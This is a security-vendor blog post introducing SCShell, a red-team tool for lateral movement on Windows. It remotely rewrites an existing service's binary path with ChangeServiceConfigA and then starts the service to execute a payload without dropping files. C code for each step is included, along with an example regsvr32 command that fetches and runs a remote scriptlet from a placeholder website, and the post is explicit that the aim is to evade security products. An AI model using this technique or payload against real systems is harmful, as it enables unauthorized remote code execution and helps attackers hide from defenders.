Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More
Get access to immediate incident response assistance.
Get access to immediate incident response assistance.
Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More
During red team engagements, lateral movement in a network is crucial. In addition, as a critical part of exploit chains, security solutions put a lot of effort to detect this movement. Techniques such as remote WMI and PsExec are fairly well detected. In the case of WMI, WmiPrvSe.exe will be the parent process responsible for spawning the process, making the detection a bit easier. PsExec on its end will push a file on the remote system and register a new service. Detecting the file and service creation may prevent the attack from succeeding.
In an attempt to use a technique that does not present the same behavior, I've developed a new tool I call SCshell. It is a fileless technique as long as your final payload does not drop a file on disk or does not need a file to work. It relies on the service manager capability to remotely modify a service binary path name via the ChangeServiceConfigA API.
Technical Details
As a first step it creates the authentication context this is achieved using LogonUserA API and ImpersonateLoggedOnUserA.
Once the process acquired the right authentication context, the Service Manager is remotely open using OpenSCManagerA.
SC_HANDLE schManager = OpenSCManagerA(targetHost, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if(schManager == NULL) {
printf("OpenSCManagerA failed %ld\n", GetLastError());
ExitProcess(0);
}
printf("SC_HANDLE Manager 0x%p\n", schManager);
This next portion of code is responsible of opening the remote service using OpenServiceA API. The service is provided as an argument.
printf("Opening %s\n", serviceName);
SC_HANDLE schService = OpenServiceA(schManager, serviceName, SERVICE_ALL_ACCESS);
if(schService == NULL) {
printf("OpenServiceA failed %ld\n", GetLastError());
ExitProcess(0);
}
printf("SC_HANDLE Service 0x%p\n", schService);
The magic is happening by calling the ChangeServiceConfigA API. The API fifth argument is the binary path used to launch the service.
As stated in Microsoft documentation argument can be supplied as part of the binary path name.
From an attacker perspective this means that we can run arbitrary command by setting the binary path name to something like:
“C:\windows\system32\cmd.exe /c regsvr32 /s /n /u /i://your.website/payload.sct scrobj.dll“
The call to ChangeServiceConfigA to setting the binary path name to the payload supplied.
bResult = FALSE;
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, NULL, NULL, NULL, NULL, NULL, NULL);
if(!bResult) {
printf("ChangeServiceConfigA failed to update the service path. %ld\n", GetLastError());
ExitProcess(0);
}
printf("Service path was changed to \"%s\"\n", payload);
Finally, the service is started via StartServiceA.
bResult = FALSE;
bResult = StartServiceA(schService, NULL, NULL);
DWORD dwResult = GetLastError();
if(!bResult && dwResult != 1053) {
printf("StartServiceA failed to start the service. %ld\n", GetLastError());
} else {
printf("Service was started\n");
}
Note that the error check excludes the error code 1053 which stands for: The service did not respond to the start or control request in a timely fashion.
Due to the fact that the command is not launching a service, there is a good chance that the call to StartServiceA will trigger this error. If it is the case, the StartServiceA call still executes the code but can’t properly start it as a service. At this point, you have executed your payload on the remote system.
The network capture confirms that the Windows APIs were called as expected.
This technique performs all the authentication and execution over DCERPC and SVCCTL.
In conclusion, this technique uses a slightly different approach and does not require dropping files and registering services. Default Windows installation provides a lot of not super useful services that can be targeted such as XblAuthManager which is the service behind “Xbox Accessory Management Service”. The lack of service registration and file creation reduces the number of artifacts that might be observed by a security solution.
The tool that leverage this technique was released at https://github.com/SpiderLabs/SCShell
Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.
Copyright © 2024 Trustwave Holdings, Inc. All rights reserved.